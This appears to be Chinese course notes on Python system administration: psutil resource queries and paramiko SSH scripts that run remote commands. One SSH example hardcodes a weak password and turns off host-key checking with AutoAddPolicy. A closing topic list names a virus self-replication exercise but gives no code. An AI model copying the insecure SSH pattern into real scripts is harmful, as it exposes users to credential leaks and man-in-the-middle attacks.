Verifying : libgnat-devel-4.8.5-4.el7.x86_64 19/19 850 | 851 | Installed: 852 | gcc.x86_64 0:4.8.5-4.el7 gcc-c++.x86_64 0:4.8.5-4.el7 853 | gcc-gfortran.x86_64 0:4.8.5-4.el7 gcc-gnat.x86_64 0:4.8.5-4.el7 854 | gcc-objc.x86_64 0:4.8.5-4.el7 gcc-objc++.x86_64 0:4.8.5-4.el7 855 | 856 | Dependency Installed: 857 | cpp.x86_64 0:4.8.5-4.el7 glibc-devel.x86_64 0:2.17-105.el7 858 | glibc-headers.x86_64 0:2.17-105.el7 kernel-headers.x86_64 0:3.10.0-327.el7 859 | libgfortran.x86_64 0:4.8.5-4.el7 libgnat.x86_64 0:4.8.5-4.el7 860 | libgnat-devel.x86_64 0:4.8.5-4.el7 libmpc.x86_64 0:1.0.1-3.el7 861 | libobjc.x86_64 0:4.8.5-4.el7 libquadmath.x86_64 0:4.8.5-4.el7 862 | libquadmath-devel.x86_64 0:4.8.5-4.el7 libstdc++-devel.x86_64 0:4.8.5-4.el7 863 | mpfr.x86_64 0:3.1.1-4.el7 864 | 865 | Complete! 866 | 867 | # 再次安装 868 | (python)[root@workstation0 python]# pip install psutil 869 | Downloading/unpacking psutil 870 | Downloading psutil-4.3.1.tar.gz (315kB): 315kB downloaded 871 | Running setup.py egg_info for package psutil 872 | 873 | warning: no previously-included files matching '*' found under directory 'docs/_build' 874 | Installing collected packages: psutil 875 | Running setup.py install for psutil 876 | building 'psutil._psutil_linux' extension 877 | gcc -pthread -fno-strict-aliasing -O2 -g -pipe -Wall -Wp,-D_FORTIFY_SOURCE=2 -fexceptions -fstack-protector-strong --param=ssp-buffer-size=4 -grecord-gcc-switches -m64 -mtune=generic -D_GNU_SOURCE -fPIC -fwrapv -DNDEBUG -O2 -g -pipe -Wall -Wp,-D_FORTIFY_SOURCE=2 -fexceptions -fstack-protector-strong --param=ssp-buffer-size=4 -grecord-gcc-switches -m64 -mtune=generic -D_GNU_SOURCE -fPIC -fwrapv -fPIC -DPSUTIL_VERSION=431 -I/usr/include/python2.7 -c psutil/_psutil_linux.c -o build/temp.linux-x86_64-2.7/psutil/_psutil_linux.o 878 | gcc -pthread -shared -Wl,-z,relro build/temp.linux-x86_64-2.7/psutil/_psutil_linux.o -L/usr/lib64 -lpython2.7 -o build/lib.linux-x86_64-2.7/psutil/_psutil_linux.so 879 | building 'psutil._psutil_posix' extension 880 | gcc -pthread -fno-strict-aliasing -O2 -g -pipe -Wall -Wp,-D_FORTIFY_SOURCE=2 -fexceptions -fstack-protector-strong --param=ssp-buffer-size=4 -grecord-gcc-switches -m64 -mtune=generic -D_GNU_SOURCE -fPIC -fwrapv -DNDEBUG -O2 -g -pipe -Wall -Wp,-D_FORTIFY_SOURCE=2 -fexceptions -fstack-protector-strong --param=ssp-buffer-size=4 -grecord-gcc-switches -m64 -mtune=generic -D_GNU_SOURCE -fPIC -fwrapv -fPIC -I/usr/include/python2.7 -c psutil/_psutil_posix.c -o build/temp.linux-x86_64-2.7/psutil/_psutil_posix.o 881 | gcc -pthread -shared -Wl,-z,relro build/temp.linux-x86_64-2.7/psutil/_psutil_posix.o -L/usr/lib64 -lpython2.7 -o build/lib.linux-x86_64-2.7/psutil/_psutil_posix.so 882 | 883 | warning: no previously-included files matching '*' found under directory 'docs/_build' 884 | Successfully installed psutil 885 | Cleaning up... 886 | # 安装模块成功,进入尝试加载模块psutil 887 | (python)[root@workstation0 python]# python 888 | Python 2.7.5 (default, Oct 11 2015, 17:47:16) 889 | [GCC 4.8.3 20140911 (Red Hat 4.8.3-9)] on linux2 890 | Type "help", "copyright", "credits" or "license" for more information. 891 | >>> import psutil 892 | >>> 893 | ``` 894 | 895 | 可以看到离开虚拟环境,python无法加载psutil模块 896 | ```shell 897 | [kiosk@foundation0 Desktop]$ ssh root@172.25.0.15 898 | root@172.25.0.15's password: 899 | X11 forwarding request failed on channel 0 900 | Last login: Tue Oct 18 16:55:43 2016 from 172.25.0.250 901 | [root@workstation0 ~]# python 902 | Python 2.7.5 (default, Oct 11 2015, 17:47:16) 903 | [GCC 4.8.3 20140911 (Red Hat 4.8.3-9)] on linux2 904 | Type "help", "copyright", "credits" or "license" for more information. 905 | >>> import psutil 906 | Traceback (most recent call last): 907 | File "", line 1, in 908 | ImportError: No module named psutil 909 | >>> 910 | ``` 911 | 912 | ## Python实践3——使用psutil系统性能信息模块获取当前物理内存总大小及已使用大小 913 | 914 | ```shell 915 | [root@workstation0 ~]# free -h 916 | total used free shared buff/cache available 917 | Mem: 488M 102M 69M 4.4M 316M 344M 918 | Swap: 511M 0B 511M 919 | [root@workstation0 ~]# free -h|awk '/Mem/{print$2}' 920 | 488M 921 | [root@workstation0 ~]# free -h|awk '/Mem/{print$3}' 922 | 102M 923 | ``` 924 | 925 | ```shell 926 | >>> import psutil 927 | >>> mem=psutil.virtual_memory() 928 | >>> mem.total,mem.used 929 | (512729088, 440070144) 930 | ``` 931 | 932 | 我们可以通过help(psutil)来查看帮助信息;进入帮助之后可以使用“/关键字”搜索关键字;使用q退出 933 | ```shell 934 | >>> help(psutil) 935 | ``` 936 | virtual_memory 937 | total 虚拟内存的总大小 938 | used 虚拟内存已经使用的大小 939 | 940 | ### 内存信息 941 | 942 | Linux系统的内存利用率信息: 943 | 涉及total(内存总数) 944 | used(已使用的内存数) 945 | free(空闲内存数) 946 | buffers(缓冲使用数) 947 | cache(缓存使用数) 948 | swap(交换分区使用数) 949 | 950 | psutil.virtual_memory()与psutil.swap_memory()方法获取这些信息 951 | 952 | 953 | 954 | 955 | ## Python实践4——使用psutil系统性能信息模块获取当前系统CPU利用率 956 | 957 | ```shell 958 | >>> import psutil 959 | >>> psutil.cpu_times() 960 | scputimes(user=40.86, nice=9.26, system=41.36, idle=5833.96, iowait=15.87, irq=0.0, softirq=0.06, steal=25.99, guest=0.0, guest_nice=0.0) 961 | >>> psutil.cpu_times(percpu=True) 962 | [scputimes(user=21.43, nice=4.91, system=22.05, idle=2941.57, iowait=8.83, irq=0.0, softirq=0.04, steal=12.93, guest=0.0, guest_nice=0.0), scputimes(user=19.43, nice=4.34, system=19.31, idle=2951.0, iowait=7.04, irq=0.0, softirq=0.01, steal=13.06, guest=0.0, guest_nice=0.0)] 963 | >>> psutil.cpu_times().user 964 | 40.88 965 | >>> psutil.cpu_count(logical=True) 966 | 2 967 | >>> psutil.cpu_count(logical=False) 968 | 2 969 | >>> 970 | ``` 971 | 972 | ### CPU信息 973 | 974 | Linux操作系统的CPU利用率有以下几个部分: 975 | 976 | * User Time,执行用户进程的时间百分比; 977 | * System Time,执行内核进程和中断的时间百分比; 978 | * Wait IO,由于IO等待而使CPU处于idle(空闲)状态的时间百分比; 979 | * Idle,CPU处于idle状态的时间百分比。 980 | 981 | psutil.cpu_times()方法可以非常简单地得到这些信息 982 | 983 | * cpu_times() 获取CPU完整信息 984 | * cpu_times(percpu=True) 指定方法变量percpu=True显示所有逻辑CPU信息 985 | * cpu_times().user 获取执行用户进程的时间百分比 986 | * cpu_count(logical=True) 获取CPU的逻辑个数 987 | * cpu_count(logical=False) 获取CPU的物理个数 988 | 989 | 990 | ## Python实践5——使用psutil系统性能信息模块获取当前系统磁盘信息 991 | 992 | ```shell 993 | >>> import psutil 994 | >>> d=psutil.disk_partitions() 995 | >>> print d 996 | [sdiskpart(device='/dev/mapper/rhel-root', mountpoint='/', fstype='xfs', opts='rw,seclabel,relatime,attr2,inode64,noquota'), sdiskpart(device='/dev/mapper/rhel-home', mountpoint='/home', fstype='xfs', opts='rw,seclabel,relatime,attr2,inode64,noquota'), sdiskpart(device='/dev/vda1', mountpoint='/boot', fstype='xfs', opts='rw,seclabel,relatime,attr2,inode64,noquota')] 997 | >>> d=psutil.disk_usage('/') 998 | >>> print d 999 | sdiskusage(total=9447669760, used=1199980544, free=8247689216, percent=12.7) 1000 | >>> d=psutil.disk_io_counters() 1001 | >>> print d 1002 | sdiskio(read_count=16896, write_count=21325, read_bytes=428721664, write_bytes=707450880, read_time=35974, write_time=1077043, read_merged_count=8, write_merged_count=962, busy_time=131356) 1003 | >>> d=psutil.disk_io_counters(perdisk=True) 1004 | >>> print d 1005 | {'vda1': sdiskio(read_count=581, write_count=519, read_bytes=4516352, write_bytes=2109440, read_time=687, write_time=663, read_merged_count=0, write_merged_count=0, busy_time=1312), 'vda2': sdiskio(read_count=8134, write_count=9658, read_bytes=211797504, write_bytes=352695296, read_time=17532, write_time=456746, read_merged_count=8, write_merged_count=962, busy_time=47092), 'vdb': sdiskio(read_count=144, write_count=0, read_bytes=1040384, write_bytes=0, read_time=429, write_time=0, read_merged_count=0, write_merged_count=0, busy_time=378), 'dm-2': sdiskio(read_count=87, write_count=4, read_bytes=522752, write_bytes=2097152, read_time=53, write_time=640, read_merged_count=0, write_merged_count=0, busy_time=210), 'dm-0': sdiskio(read_count=7824, write_count=11150, read_bytes=209751040, write_bytes=350598144, read_time=16900, write_time=618994, read_merged_count=0, write_merged_count=0, busy_time=81997), 'dm-1': sdiskio(read_count=126, write_count=0, read_bytes=1093632, write_bytes=0, read_time=373, write_time=0, read_merged_count=0, write_merged_count=0, busy_time=367)} 1006 | >>> 1007 | ``` 1008 | 1009 | ### 磁盘IO信息 1010 | 1011 | * read_count(读IO数) 1012 | * write_count(写IO数) 1013 | * read_bytes(IO读字节数) 1014 | * write_bytes(IO写字节数) 1015 | * read_time(磁盘读时间) 1016 | * write_time(磁盘写时间)等。 1017 | 1018 | 这些IO信息可以使用psutil.disk_io_counters()获取 1019 | 1020 | * disk_partitions() 获取磁盘完整信息 1021 | * disk_usage() 获取分区(参数)的使用情况 1022 | * disk_io_counters() 获取硬盘总的IO个数、读写信息 1023 | * perdisk=True 参数获取单个分区IO个数读写信息 1024 | 1025 | ## Python实践6——使用psutil系统性能信息模块获取当前系统网络信息 1026 | 1027 | ```shell 1028 | >>> import psutil 1029 | >>> psutil.net_io_counters() 1030 | snetio(bytes_sent=754606, bytes_recv=78983995, packets_sent=4592, packets_recv=9383, errin=0, errout=0, dropin=0, dropout=0) 1031 | >>> psutil.net_io_counters(pernic=True) 1032 | {'lo': snetio(bytes_sent=0, bytes_recv=0, packets_sent=0, packets_recv=0, errin=0, errout=0, dropin=0, dropout=0), 'eth1': snetio(bytes_sent=0, bytes_recv=115672, packets_sent=0, packets_recv=2220, errin=0, errout=0, dropin=0, dropout=0), 'eth0': snetio(bytes_sent=756370, bytes_recv=78870967, packets_sent=4606, packets_recv=7196, errin=0, errout=0, dropin=0, dropout=0)} 1033 | ``` 1034 | 1035 | ### 网络信息 1036 | 1037 | * bytes_sent(发送字节数) 1038 | * bytes_recv=28220119(接收字节数) 1039 | * packets_sent=200978(发送数据包数) 1040 | * packets_recv=212672(接收数据包数) 1041 | 1042 | 这些网络信息使用psutil.net_io_counters()方法获取 1043 | 1044 | * net_io_counters() 获取网络总的IO信息,默认pernic=False 1045 | * net_io_counters(pernic=True) 输出每个网络接口的IO信息 1046 | 1047 | ## Python实践7——使用psutil系统性能信息模块获取当前系统用户登录信息 1048 | 1049 | 1050 | ```shell 1051 | >>> import subprocess 1052 | >>> subprocess.call("who",shell=True) 1053 | root pts/0 2016-10-18 16:55 (172.25.0.250) 1054 | root pts/1 2016-10-18 17:22 (172.25.0.250) 1055 | 0 1056 | >>> import psutil 1057 | >>> psutil.users() 1058 | [suser(name='root', terminal='pts/0', host='172.25.0.250', started=1476780928.0), suser(name='root', terminal='pts/1', host='172.25.0.250', started=1476782592.0)] 1059 | >>> u=psutil.users() 1060 | >>> print u[0] 1061 | suser(name='root', terminal='pts/0', host='172.25.0.250', started=1476780928.0) 1062 | >>> print u[1] 1063 | suser(name='root', terminal='pts/1', host='172.25.0.250', started=1476782592.0) 1064 | >>> a=u[::-1] 1065 | >>> print a 1066 | [suser(name='root', terminal='pts/1', host='172.25.0.250', started=1476782592.0), suser(name='root', terminal='pts/0', host='172.25.0.250', started=1476780928.0)] 1067 | >>> psutil.boot_time() 1068 | 1476780907.0 1069 | ``` 1070 | ### 其他系统信息 1071 | 1072 | psutil模块还支持获取用户登录、开机时间等信息 1073 | 1074 | * users() 1075 | * boot_time() 开机时间 1076 | 1077 | ## Python实践8——使用psutil系统性能信息模块获取当前系统进程信息 1078 | 1079 | ```shell 1080 | >>> import psutil 1081 | >>> psutil.pids() 1082 | [1, 2, 3, 6, 7, 8, 9, 10, 11, 12, 13, 14, 15, 16, 17, 20, 21, 22, 23, 24, 25, 26, 27, 28, 29, 33, 34, 35, 36, 37, 45, 46, 47, 49, 50, 51, 70, 100, 267, 269, 271, 272, 274, 275, 278, 281, 282, 358, 359, 370, 371, 384, 385, 386, 387, 388, 389, 390, 467, 480, 488, 508, 529, 536, 537, 538, 539, 540, 542, 543, 550, 551, 552, 553, 554, 569, 592, 594, 595, 597, 599, 607, 610, 614, 663, 704, 705, 988, 1191, 1193, 1198, 1204, 1586, 1604, 2339, 2344, 2376, 2451, 9480, 9482, 9486, 9548, 9550, 9555] 1083 | >>> psutil.pids() 1084 | [1, 2, 3, 6, 7, 8, 9, 10, 11, 12, 13, 14, 15, 16, 17, 20, 21, 22, 23, 24, 25, 26, 27, 28, 29, 33, 34, 35, 36, 37, 45, 46, 47, 49, 50, 51, 70, 100, 267, 269, 271, 272, 274, 275, 278, 281, 282, 358, 359, 370, 371, 384, 385, 386, 387, 388, 389, 390, 467, 480, 488, 508, 529, 536, 537, 538, 539, 540, 542, 543, 550, 551, 552, 553, 554, 569, 592, 594, 595, 597, 599, 607, 610, 614, 663, 704, 705, 988, 1191, 1193, 1198, 1204, 1586, 1604, 2339, 2344, 2376, 2451, 9480, 9482, 9486, 9548, 9550, 9555, 9564, 9571, 9581] 1085 | >>> psutil.Process(9581) 1086 | 1087 | >>> psutil.Process(9564) 1088 | 1089 | >>> p=psutil.Process(9564) 1090 | >>> p.name() 1091 | 'yum' 1092 | >>> p.exe 1093 | > 1094 | >>> p.exe() 1095 | '/usr/bin/python2.7' 1096 | >>> p.cwd() 1097 | '/root' 1098 | >>> p.status() 1099 | 'disk-sleep' 1100 | >>> p.create_time() 1101 | 1476787328.27 1102 | >>> p.uids() 1103 | puids(real=0, effective=0, saved=0) 1104 | >>> p.gids() 1105 | pgids(real=0, effective=0, saved=0) 1106 | >>> p.cpu_times() 1107 | pcputimes(user=17.34, system=4.62, children_user=5.46, children_system=4.68) 1108 | >>> p.cpu_affinity() 1109 | [0, 1] 1110 | >>> p.memory_percent() 1111 | 14.738212784994168 1112 | >>> p.memort_info() 1113 | Traceback (most recent call last): 1114 | File "", line 1, in 1115 | AttributeError: 'Process' object has no attribute 'memort_info' 1116 | >>> p.memore_info() 1117 | Traceback (most recent call last): 1118 | File "", line 1, in 1119 | AttributeError: 'Process' object has no attribute 'memore_info' 1120 | >>> p.memory_info() 1121 | pmem(rss=76226560, vms=435654656, shared=13361152, text=4096, lib=0, data=61382656, dirty=0) 1122 | 1123 | >>> p=psutil.Process(10242) 1124 | >>> p.io_counters() 1125 | pio(read_count=10, write_count=64, read_bytes=229376, write_bytes=0) 1126 | >>> p.connections() 1127 | [] 1128 | >>> p.num_threads() 1129 | 1 1130 | ``` 1131 | 1132 | 1133 | ### 系统进程管理方法 1134 | 1135 | 获得当前系统的进程信息,可以让运维人员得知应用程序的运行 1136 | 状态,包括进程的启动时间、查看或设置CPU亲和度、内存使用率、IO 1137 | 信息、socket连接、线程数等,这些信息可以呈现出指定进程是否存 1138 | 活、资源利用情况,为开发人员的代码优化、问题定位提供很好的数据 1139 | 参考。 1140 | 1141 | #### 进程信息 1142 | 1143 | psutil模块通过psutil.pids()方法获取所有进程PID;psutil.Process()方法获取单个进程的名称、路径、状态、系统资源利用率等信息。 1144 | 1145 | * psutil.pids() #列出所有进程PID 1146 | * psutil.Process(2424) #实例化一个Process对象,参数为一进程PID 1147 | * p.name() #进程名 1148 | * p.exe() #进程bin路径 1149 | * p.cwd() #进程工作目录绝对路径 1150 | * p.status() #进程状态 1151 | * p.create_time() #进程创建时间,时间戳格式 1152 | * p.uids() #进程uid信息 1153 | * p.gids() #进程gid信息 1154 | * p.cpu_times() #进程CPU时间信息,包括user、system两个CPU时间 1155 | * p.cpu_affinity() #get进程CPU亲和度,如要设置进程CPU亲和度,将CPU号作为参数即可 1156 | * p.memory_percent() #进程内存利用率 1157 | * p.memory_info() #进程内存rss、vms信息 1158 | * p.io_counters() #进程IO信息,包括读写IO数及字节数 1159 | * p.connections() #返回打开进程socket的namedutples列表,包括fs、family、laddr等信息 1160 | * pl.num_threads() #进程开启的线程数 1161 | 1162 | #### popen类的使用 1163 | 1164 | ```shell 1165 | >>> import psutil 1166 | >>> from subprocess import PIPE 1167 | >>> p=psutil.Popen(["/usr/bin/python","-c","print('hello')"],stdout=PIPE) 1168 | >>> p.name() 1169 | 'python' 1170 | >>> p.username() 1171 | 'root' 1172 | >>> p.communicate() 1173 | ('hello\n', None) 1174 | >>> p=psutil.Popen(["ping","172.25.0.250"],stdout=PIPE) 1175 | >>> p.status() 1176 | 'sleeping' 1177 | >>> p.uids() 1178 | puids(real=0, effective=0, saved=0) 1179 | >>> p.cpu_times() 1180 | pcputimes(user=0.0, system=0.0, children_user=0.0, children_system=0.0) 1181 | ``` 1182 | psutil提供的popen类的作用是获取用户启动的应用程序进程信息,以便跟踪程序进程的运行状态 1183 | 1184 | 1185 | * psutil.Popen(["/usr/bin/python", "-c", "print('hello')"],stdout=PIPE) #通过psutil的Popen方法启动的应用程序,可以跟踪该程序运行的所有相关信息 1186 | * p.cpu_times() #得到进程运行的CPU时间 1187 | 1188 | # python实例-paramkio模块实现ssh管理 1189 | 1190 | ## ssh 1191 | 1192 | ssh允许你安全地连接到远程服务器,执行shell命令,传输文件,并在连接双方进行端口转发。 1193 | 1194 | 如果有一个命令地ssh工具,为什么还要通过编写脚本来使用ssh协议呢? 1195 | 主要原因是这样做除了能够使用ssh协议地全部功能外,还能够使用python的全部功能。 1196 | 1197 | ssh2协议就是通过paramkio的python模块实现的,通过python代码,可以连接到ssh服务器,并完成一些ssh任务。 1198 | 1199 | ### 实践1——安装paramkio包 1200 | 1201 | * 从共享中下载paramkio和PyCrypto 1202 | * 依赖模块:PyCrypto - The Python Cryptography Toolkit 1203 | * 依赖软件:python-dev 1204 | 1205 | ```shell 1206 | [root@foundation0 soft]# ls 1207 | ipython-0.13.1 paramiko-1.7.5 psutil-4.3.1.tar.gz pycrypto-2.6.1.tar.gz 1208 | ipython-0.13.1.tar.gz paramiko-1.7.5.zip pycrypto-2.6.1 1209 | [root@foundation0 soft]# yum install -y python-devel 1210 | [root@foundation0 soft]# cd pycrypto-2.6.1 1211 | [root@foundation0 pycrypto-2.6.1]# python setup.py install 1212 | [root@foundation0 soft]# cd ../paramiko-1.7.5 1213 | [root@foundation0 soft]# python setup.py install 1214 | running install 1215 | running bdist_egg 1216 | running egg_info 1217 | writing requirements to paramiko.egg-info/requires.txt 1218 | writing paramiko.egg-info/PKG-INFO 1219 | writing top-level names to paramiko.egg-info/top_level.txt 1220 | writing dependency_links to paramiko.egg-info/dependency_links.txt 1221 | reading manifest file 'paramiko.egg-info/SOURCES.txt' 1222 | reading manifest template 'MANIFEST.in' 1223 | writing manifest file 'paramiko.egg-info/SOURCES.txt' 1224 | installing library code to build/bdist.linux-x86_64/egg 1225 | running install_lib 1226 | running build_py 1227 | creating build/bdist.linux-x86_64/egg 1228 | creating build/bdist.linux-x86_64/egg/paramiko 1229 | copying build/lib/paramiko/__init__.py -> build/bdist.linux-x86_64/egg/paramiko 1230 | copying build/lib/paramiko/agent.py -> build/bdist.linux-x86_64/egg/paramiko 1231 | copying build/lib/paramiko/auth_handler.py -> build/bdist.linux-x86_64/egg/paramiko 1232 | copying build/lib/paramiko/ber.py -> build/bdist.linux-x86_64/egg/paramiko 1233 | copying build/lib/paramiko/buffered_pipe.py -> build/bdist.linux-x86_64/egg/paramiko 1234 | copying build/lib/paramiko/channel.py -> build/bdist.linux-x86_64/egg/paramiko 1235 | copying build/lib/paramiko/client.py -> build/bdist.linux-x86_64/egg/paramiko 1236 | copying build/lib/paramiko/common.py -> build/bdist.linux-x86_64/egg/paramiko 1237 | copying build/lib/paramiko/compress.py -> build/bdist.linux-x86_64/egg/paramiko 1238 | copying build/lib/paramiko/config.py -> build/bdist.linux-x86_64/egg/paramiko 1239 | copying build/lib/paramiko/dsskey.py -> build/bdist.linux-x86_64/egg/paramiko 1240 | copying build/lib/paramiko/file.py -> build/bdist.linux-x86_64/egg/paramiko 1241 | copying build/lib/paramiko/hostkeys.py -> build/bdist.linux-x86_64/egg/paramiko 1242 | copying build/lib/paramiko/kex_gex.py -> build/bdist.linux-x86_64/egg/paramiko 1243 | copying build/lib/paramiko/kex_group1.py -> build/bdist.linux-x86_64/egg/paramiko 1244 | copying build/lib/paramiko/logging22.py -> build/bdist.linux-x86_64/egg/paramiko 1245 | copying build/lib/paramiko/message.py -> build/bdist.linux-x86_64/egg/paramiko 1246 | copying build/lib/paramiko/packet.py -> build/bdist.linux-x86_64/egg/paramiko 1247 | copying build/lib/paramiko/pipe.py -> build/bdist.linux-x86_64/egg/paramiko 1248 | copying build/lib/paramiko/pkey.py -> build/bdist.linux-x86_64/egg/paramiko 1249 | copying build/lib/paramiko/primes.py -> build/bdist.linux-x86_64/egg/paramiko 1250 | copying build/lib/paramiko/resource.py -> build/bdist.linux-x86_64/egg/paramiko 1251 | copying build/lib/paramiko/rng.py -> build/bdist.linux-x86_64/egg/paramiko 1252 | copying build/lib/paramiko/rng_posix.py -> build/bdist.linux-x86_64/egg/paramiko 1253 | copying build/lib/paramiko/rng_win32.py -> build/bdist.linux-x86_64/egg/paramiko 1254 | copying build/lib/paramiko/rsakey.py -> build/bdist.linux-x86_64/egg/paramiko 1255 | copying build/lib/paramiko/server.py -> build/bdist.linux-x86_64/egg/paramiko 1256 | copying build/lib/paramiko/sftp.py -> build/bdist.linux-x86_64/egg/paramiko 1257 | copying build/lib/paramiko/sftp_attr.py -> build/bdist.linux-x86_64/egg/paramiko 1258 | copying build/lib/paramiko/sftp_client.py -> build/bdist.linux-x86_64/egg/paramiko 1259 | copying build/lib/paramiko/sftp_file.py -> build/bdist.linux-x86_64/egg/paramiko 1260 | copying build/lib/paramiko/sftp_handle.py -> build/bdist.linux-x86_64/egg/paramiko 1261 | copying build/lib/paramiko/sftp_server.py -> build/bdist.linux-x86_64/egg/paramiko 1262 | copying build/lib/paramiko/sftp_si.py -> build/bdist.linux-x86_64/egg/paramiko 1263 | copying build/lib/paramiko/ssh_exception.py -> build/bdist.linux-x86_64/egg/paramiko 1264 | copying build/lib/paramiko/transport.py -> build/bdist.linux-x86_64/egg/paramiko 1265 | copying build/lib/paramiko/util.py -> build/bdist.linux-x86_64/egg/paramiko 1266 | copying build/lib/paramiko/win_pageant.py -> build/bdist.linux-x86_64/egg/paramiko 1267 | byte-compiling build/bdist.linux-x86_64/egg/paramiko/__init__.py to __init__.pyc 1268 | byte-compiling build/bdist.linux-x86_64/egg/paramiko/agent.py to agent.pyc 1269 | byte-compiling build/bdist.linux-x86_64/egg/paramiko/auth_handler.py to auth_handler.pyc 1270 | byte-compiling build/bdist.linux-x86_64/egg/paramiko/ber.py to ber.pyc 1271 | byte-compiling build/bdist.linux-x86_64/egg/paramiko/buffered_pipe.py to buffered_pipe.pyc 1272 | byte-compiling build/bdist.linux-x86_64/egg/paramiko/channel.py to channel.pyc 1273 | byte-compiling build/bdist.linux-x86_64/egg/paramiko/client.py to client.pyc 1274 | byte-compiling build/bdist.linux-x86_64/egg/paramiko/common.py to common.pyc 1275 | byte-compiling build/bdist.linux-x86_64/egg/paramiko/compress.py to compress.pyc 1276 | byte-compiling build/bdist.linux-x86_64/egg/paramiko/config.py to config.pyc 1277 | byte-compiling build/bdist.linux-x86_64/egg/paramiko/dsskey.py to dsskey.pyc 1278 | byte-compiling build/bdist.linux-x86_64/egg/paramiko/file.py to file.pyc 1279 | byte-compiling build/bdist.linux-x86_64/egg/paramiko/hostkeys.py to hostkeys.pyc 1280 | byte-compiling build/bdist.linux-x86_64/egg/paramiko/kex_gex.py to kex_gex.pyc 1281 | byte-compiling build/bdist.linux-x86_64/egg/paramiko/kex_group1.py to kex_group1.pyc 1282 | byte-compiling build/bdist.linux-x86_64/egg/paramiko/logging22.py to logging22.pyc 1283 | byte-compiling build/bdist.linux-x86_64/egg/paramiko/message.py to message.pyc 1284 | byte-compiling build/bdist.linux-x86_64/egg/paramiko/packet.py to packet.pyc 1285 | byte-compiling build/bdist.linux-x86_64/egg/paramiko/pipe.py to pipe.pyc 1286 | byte-compiling build/bdist.linux-x86_64/egg/paramiko/pkey.py to pkey.pyc 1287 | byte-compiling build/bdist.linux-x86_64/egg/paramiko/primes.py to primes.pyc 1288 | byte-compiling build/bdist.linux-x86_64/egg/paramiko/resource.py to resource.pyc 1289 | byte-compiling build/bdist.linux-x86_64/egg/paramiko/rng.py to rng.pyc 1290 | byte-compiling build/bdist.linux-x86_64/egg/paramiko/rng_posix.py to rng_posix.pyc 1291 | byte-compiling build/bdist.linux-x86_64/egg/paramiko/rng_win32.py to rng_win32.pyc 1292 | byte-compiling build/bdist.linux-x86_64/egg/paramiko/rsakey.py to rsakey.pyc 1293 | byte-compiling build/bdist.linux-x86_64/egg/paramiko/server.py to server.pyc 1294 | byte-compiling build/bdist.linux-x86_64/egg/paramiko/sftp.py to sftp.pyc 1295 | byte-compiling build/bdist.linux-x86_64/egg/paramiko/sftp_attr.py to sftp_attr.pyc 1296 | byte-compiling build/bdist.linux-x86_64/egg/paramiko/sftp_client.py to sftp_client.pyc 1297 | byte-compiling build/bdist.linux-x86_64/egg/paramiko/sftp_file.py to sftp_file.pyc 1298 | byte-compiling build/bdist.linux-x86_64/egg/paramiko/sftp_handle.py to sftp_handle.pyc 1299 | byte-compiling build/bdist.linux-x86_64/egg/paramiko/sftp_server.py to sftp_server.pyc 1300 | byte-compiling build/bdist.linux-x86_64/egg/paramiko/sftp_si.py to sftp_si.pyc 1301 | byte-compiling build/bdist.linux-x86_64/egg/paramiko/ssh_exception.py to ssh_exception.pyc 1302 | byte-compiling build/bdist.linux-x86_64/egg/paramiko/transport.py to transport.pyc 1303 | byte-compiling build/bdist.linux-x86_64/egg/paramiko/util.py to util.pyc 1304 | byte-compiling build/bdist.linux-x86_64/egg/paramiko/win_pageant.py to win_pageant.pyc 1305 | creating build/bdist.linux-x86_64/egg/EGG-INFO 1306 | copying paramiko.egg-info/PKG-INFO -> build/bdist.linux-x86_64/egg/EGG-INFO 1307 | copying paramiko.egg-info/SOURCES.txt -> build/bdist.linux-x86_64/egg/EGG-INFO 1308 | copying paramiko.egg-info/dependency_links.txt -> build/bdist.linux-x86_64/egg/EGG-INFO 1309 | copying paramiko.egg-info/requires.txt -> build/bdist.linux-x86_64/egg/EGG-INFO 1310 | copying paramiko.egg-info/top_level.txt -> build/bdist.linux-x86_64/egg/EGG-INFO 1311 | zip_safe flag not set; analyzing archive contents... 1312 | creating 'dist/paramiko-1.7.5-py2.7.egg' and adding 'build/bdist.linux-x86_64/egg' to it 1313 | removing 'build/bdist.linux-x86_64/egg' (and everything under it) 1314 | Processing paramiko-1.7.5-py2.7.egg 1315 | Removing /usr/lib/python2.7/site-packages/paramiko-1.7.5-py2.7.egg 1316 | Copying paramiko-1.7.5-py2.7.egg to /usr/lib/python2.7/site-packages 1317 | paramiko 1.7.5 is already the active version in easy-install.pth 1318 | 1319 | Installed /usr/lib/python2.7/site-packages/paramiko-1.7.5-py2.7.egg 1320 | Processing dependencies for paramiko==1.7.5 1321 | Searching for pycrypto==2.6.1 1322 | Best match: pycrypto 2.6.1 1323 | Adding pycrypto 2.6.1 to easy-install.pth file 1324 | 1325 | Using /usr/lib64/python2.7/site-packages 1326 | Finished processing dependencies for paramiko==1.7.5 1327 | ``` 1328 | 1329 | ### 实践2——编写python脚本连接到ssh服务器并远程执行命令 1330 | 1331 | #### 密码方式登录 1332 | 1333 | ```python 1334 | #!/usr/bin/env python 1335 | import paramiko 1336 | 1337 | #远程服务器 1338 | hostname = ‘192.168.0.1’ 1339 | #端口 1340 | port = 22 1341 | #用户名 1342 | username = ‘Dominic’ 1343 | #密码 1344 | password = ‘123456’ 1345 | #创建SSH连接日志文件(只保留前一次连接的详细日志,以前的日志会自动被覆盖) 1346 | paramiko.util.log_to_file(‘paramiko.log’) 1347 | s = paramiko.SSHClient() 1348 | #允许连接不在know_hosts文件中的主机 1349 | s.set_missing_host_key_policy(paramiko.AutoAddPolicy()) 1350 | #建立SSH连接 1351 | s.connect(hostname,port,username,password) 1352 | stdin,stdout,stderr = s.exec_command(‘df -h’) 1353 | #打印标准输出 1354 | print stdout.read() 1355 | s.close() 1356 | ``` 1357 | 1358 | 1359 | #### 基于证书方式的登录 1360 | 1361 | ```python 1362 | 1363 | #!/usr/bin/env python 1364 | 1365 | import paramiko 1366 | 1367 | hostname = '172.25.0.11' 1368 | port = 22 1369 | username = 'root' 1370 | key_file = '/root/.ssh/id_rsa' 1371 | key = paramiko.RSAKey.from_private_key_file(key_file) 1372 | 1373 | s = paramiko.SSHClient() 1374 | s.load_system_host_keys() 1375 | s.connect(hostname,port,username,pkey=key) 1376 | stdin,stdout,stderr = s.exec_command('df -h') 1377 | 1378 | print stdout.read() 1379 | print stderr.read() 1380 | s.close() 1381 | ``` 1382 | 1383 | ## python 脚本实战 1384 | 1385 | ### for循环9*9 1386 | 1387 | ### 自定义模块,加载模式,使用模块的方法,数据(__name__) 1388 | 1389 | ### 使用subprocess模块完成病毒自我复制 1390 | 1391 | ### 使用subprocess模块完成批量添加用户 1392 | 1393 | ### 虚拟环境的搭建,激活和退出;第三方包的安装 1394 | --- 1395 | 1396 